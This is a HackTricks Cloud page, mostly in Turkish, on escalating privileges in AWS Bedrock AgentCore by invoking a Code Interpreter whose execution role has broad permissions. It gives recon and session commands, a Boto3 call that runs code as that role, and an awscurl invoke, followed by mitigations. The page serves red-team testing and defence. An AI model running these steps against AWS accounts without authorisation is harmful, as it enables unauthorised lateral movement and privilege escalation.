AWS - Bedrock PrivEsc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Amazon Bedrock AgentCore
bedrock-agentcore:StartCodeInterpreterSession + bedrock-agentcore:InvokeCodeInterpreter - Code Interpreter Execution-Role Pivot
AgentCore Code Interpreter yönetilen bir yürütme ortamıdır. Custom Code Interpreters bir executionRoleArn ile yapılandırılabilir; bu, code interpreter’ın AWS hizmetlerine erişmesi için izinler sağlar.
Eğer bir lower-privileged IAM principal, start + invoke ile daha ayrıcalıklı bir execution role ile yapılandırılmış bir Code Interpreter oturumunu başlatıp çağırabiliyorsa, arayan kişi fiilen pivot into the execution role’s permissions gerçekleştirebilir (lateral movement / privilege escalation rolün kapsamına bağlı olarak).
Note
Bu tipik olarak bir misconfiguration / excessive permissions sorunudur (interpreter execution role’a geniş izinler vermek ve/veya geniş invoke erişimi tanımak). AWS, invocation izni verilen kimliklerin execution roles’a göre equal or fewer ayrıcalıklara sahip olmasını sağlayarak privilege escalation’dan kaçınılması gerektiği konusunda açıkça uyarır.
Önkoşullar (yaygın yanlış yapılandırma)
- Bir custom code interpreter mevcut olup over-privileged bir execution role ile yapılandırılmıştır (ex: hassas S3/Secrets/SSM erişimi veya IAM-admin-like yetenekler).
- Bir kullanıcı (developer/auditor/CI identity) şu izinlere sahiptir:
- start sessions:
bedrock-agentcore:StartCodeInterpreterSession - invoke tools:
bedrock-agentcore:InvokeCodeInterpreter - (Optional) Kullanıcı ayrıca interpreter oluşturabilir:
bedrock-agentcore:CreateCodeInterpreter(organizasyon kısıtlamalarına bağlı olarak execution role ile yapılandırılmış yeni bir interpreter oluşturmasına izin verir).
Recon (identify custom interpreters and execution role usage)
Interpreter’ları listeleyin (control-plane) ve yapılandırmalarını inceleyin:
aws bedrock-agentcore-control list-code-interpreters
aws bedrock-agentcore-control get-code-interpreter --code-interpreter-id <CODE_INTERPRETER_ID>
create-code-interpreter komutu, yorumlayıcının sahip olacağı AWS izinlerini tanımlayan
--execution-role-arnseçeneğini destekler.
Adım 1 - Bir oturum başlatın (bu bir sessionId döndürür, interactive shell değildir)
SESSION_ID=$(
aws bedrock-agentcore start-code-interpreter-session \
--code-interpreter-identifier <CODE_INTERPRETER_IDENTIFIER> \
--name "arte-oussama" \
--query sessionId \
--output text
)
echo "SessionId: $SESSION_ID"
Adım 2 - Kod yürütmesini çağırma (Boto3 veya imzalı HTTPS)
start-code-interpreter-session’den etkileşimli bir Python kabuğu yoktur. Yürütme InvokeCodeInterpreter aracılığıyla gerçekleşir.
Seçenek A - Boto3 örneği (Python çalıştırma + kimliği doğrulama):
import boto3
client = boto3.client("bedrock-agentcore", region_name="<REGION>")
# Execute python inside the Code Interpreter session
resp = client.invoke_code_interpreter(
codeInterpreterIdentifier="<CODE_INTERPRETER_IDENTIFIER>",
sessionId="<SESSION_ID>",
name="executeCode",
arguments={
"language": "python",
"code": "import boto3; print(boto3.client('sts').get_caller_identity())"
}
)
# Response is streamed; print events for visibility
for event in resp.get("stream", []):
print(event)
Yorumlayıcı execution role ile yapılandırılmışsa, sts:GetCallerIdentity() çıktısı o rolün kimliğini yansıtmalıdır (low-priv caller değil), bu da pivot’u gösterir.
Option B - Signed HTTPS call (awscurl):
awscurl -X POST \
"https://bedrock-agentcore.<Region>.amazonaws.com/code-interpreters/<CODE_INTERPRETER_IDENTIFIER>/tools/invoke" \
-H "Content-Type: application/json" \
-H "Accept: application/json" \
-H "x-amzn-code-interpreter-session-id: <SESSION_ID>" \
--service bedrock-agentcore \
--region <Region> \
-d '{
"name": "executeCode",
"arguments": {
"language": "python",
"code": "print(\"Hello from AgentCore\")"
}
}'
Etki
- Lateral movement — interpreter execution role’un sahip olduğu AWS erişimine doğru.
- Privilege escalation — interpreter execution role, caller’dan daha ayrıcalıklıysa.
- Tespit zorluğu — interpreter invocations için CloudTrail data events etkin değilse (invocations yapılandırmaya bağlı olarak varsayılan olarak kaydedilmeyebilir).
Önlemler / Sertleştirme
- Least privilege on the interpreter
executionRoleArn(Lambda execution roles / CI roles gibi davranın). - Restrict who can invoke (
bedrock-agentcore:InvokeCodeInterpreter) ve kimlerin oturum başlatabileceğini kısıtlayın. - Use SCPs to deny InvokeCodeInterpreter except for approved agent runtime roles (org-level enforcement can be necessary).
- Enable appropriate CloudTrail data events for AgentCore where applicable; alert on unexpected invocations and session creation.
Referanslar
- Sonrai: AWS AgentCore privilege escalation path (SCP mitigation)
- Sonrai: Credential exfiltration paths in AWS code interpreters (MMDS)
- AWS CLI: create-code-interpreter (
--execution-role-arn) - AWS CLI: start-code-interpreter-session (returns
sessionId) - AWS Dev Guide: Code Interpreter API reference examples (Boto3 + awscurl invoke)
- AWS Dev Guide: Security credentials management (MMDS + privilege escalation warning)
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

